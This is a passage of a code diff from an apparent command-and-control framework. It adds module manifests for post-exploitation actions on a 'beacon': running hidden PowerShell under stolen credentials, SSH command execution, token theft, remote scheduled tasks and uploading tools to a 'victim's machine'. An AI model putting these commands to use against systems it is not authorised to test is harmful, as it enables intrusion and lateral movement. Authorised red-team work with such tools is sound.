"description": "Username in Username, DOMAIN\\Username, or user@domain form."
|
||||
},
|
||||
{
|
||||
"name": "password",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Password for the supplied user."
|
||||
},
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Program and arguments to launch after --.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"spawnAs contoso\\alice P@ssw0rd -- powershell.exe -nop -w hidden",
|
||||
"spawnAs -d . -l 9 bob Password123 -- cmd.exe /c whoami"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
{
|
||||
"name": "sshExec",
|
||||
"display_name": "sshExec",
|
||||
"kind": "module",
|
||||
"description": "Execute a command on a remote SSH server using username/password authentication.",
|
||||
"command_template": "sshExec -h {h:q} [-P {P}] -u {u:q} -p {p:q} -- {command:raw}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-h",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "SSH host name or IP."
|
||||
},
|
||||
{
|
||||
"name": "--host",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "SSH host name or IP."
|
||||
},
|
||||
{
|
||||
"name": "-P",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "SSH port. Defaults to 22."
|
||||
},
|
||||
{
|
||||
"name": "--port",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "SSH port. Defaults to 22."
|
||||
},
|
||||
{
|
||||
"name": "-u",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "SSH username."
|
||||
},
|
||||
{
|
||||
"name": "--user",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "SSH username."
|
||||
},
|
||||
{
|
||||
"name": "-p",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "SSH password."
|
||||
},
|
||||
{
|
||||
"name": "--password",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "SSH password."
|
||||
},
|
||||
{
|
||||
"name": "-c",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Remote command."
|
||||
},
|
||||
{
|
||||
"name": "--command",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Remote command."
|
||||
},
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Remote command tail passed after --.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"sshExec -h 10.0.0.5 -u admin -p Passw0rd! -c \"ipconfig /all\"",
|
||||
"sshExec -h server -P 22 -u admin -p Passw0rd! -- /bin/echo hello"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"name": "stealToken",
|
||||
"display_name": "stealToken",
|
||||
"kind": "module",
|
||||
"description": "Steal and impersonate a token from a process id.",
|
||||
"command_template": "stealToken {pid}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "pid",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Process id whose token should be impersonated."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"stealToken 4242"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"name": "taskScheduler",
|
||||
"display_name": "taskScheduler",
|
||||
"kind": "module",
|
||||
"description": "Create and optionally run a scheduled task on a local or remote Windows host.",
|
||||
"command_template": "taskScheduler -c {c:q} [-s {s:q}] [-t {t:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}] [--no-run {no_run:flag}] [--nocleanup {nocleanup:flag}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-c",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Executable or command to run in the scheduled task."
|
||||
},
|
||||
{
|
||||
"name": "-s",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Target host. Omit for localhost."
|
||||
},
|
||||
{
|
||||
"name": "-t",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Scheduled task name. A random name is used if omitted."
|
||||
},
|
||||
{
|
||||
"name": "-a",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Command line arguments."
|
||||
},
|
||||
{
|
||||
"name": "-u",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "DOMAIN\\user for task registration."
|
||||
},
|
||||
{
|
||||
"name": "-p",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Password for the provided user."
|
||||
},
|
||||
{
|
||||
"name": "--no-run",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Register the task without running it."
|
||||
},
|
||||
{
|
||||
"name": "--nocleanup",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Keep the task after it starts."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"taskScheduler -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\"",
|
||||
"taskScheduler -s HOST -t UpdateTask -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\" --nocleanup"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "tree",
|
||||
"display_name": "tree",
|
||||
"kind": "module",
|
||||
"description": "Recursively list a remote directory structure.",
|
||||
"command_template": "tree {path:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": false,
|
||||
"description": "Remote directory path. Defaults to the beacon current working directory.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"tree",
|
||||
"tree /tmp",
|
||||
"tree C:\\Users\\Public"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -48,11 +48,11 @@ std::string Upload::getInfo()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Upload Module:\n";
|
||||
info += "Transfer a file from the attacker's machine to the victim's machine.\n";
|
||||
info += "The file is read from the local system and written to the specified path on the remote target.\n";
|
||||
info += "The TeamServer resolves an operator upload artifact and sends its content to the remote target.\n";
|
||||
info += "\nUsage example:\n";
|
||||
info += " - upload /tmp/toto.exe C:\\Temp\\toto.exe\n";
|
||||
info += " - upload toto.exe C:\\Temp\\toto.exe\n";
|
||||
info += "\nArguments:\n";
|
||||
info += " <sourcePath> Path to the file on the attacker's machine\n";
|
||||
info += " <artifact> Uploaded artifact name or id on the TeamServer\n";
|
||||
info += " <destPath> Destination path on the victim's machine\n";
|
||||
#endif
|
||||
return info;
|
||||
@@ -131,4 +131,4 @@ int Upload::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
{
|
||||
"name": "upload",
|
||||
"display_name": "upload",
|
||||
"kind": "module",
|
||||
"description": "Upload an operator-managed artifact from the TeamServer to the beacon.",
|
||||
"command_template": "upload {upload_artifact:q} {remote_path:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "upload_artifact",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "Artifact from UploadedArtifacts compatible with the current session.",
|
||||
"artifact_filter": {
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "remote_path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Destination path on the beacon."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"upload tool.exe C:\\Temp\\tool.exe",
|
||||
"upload tool /tmp/tool"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user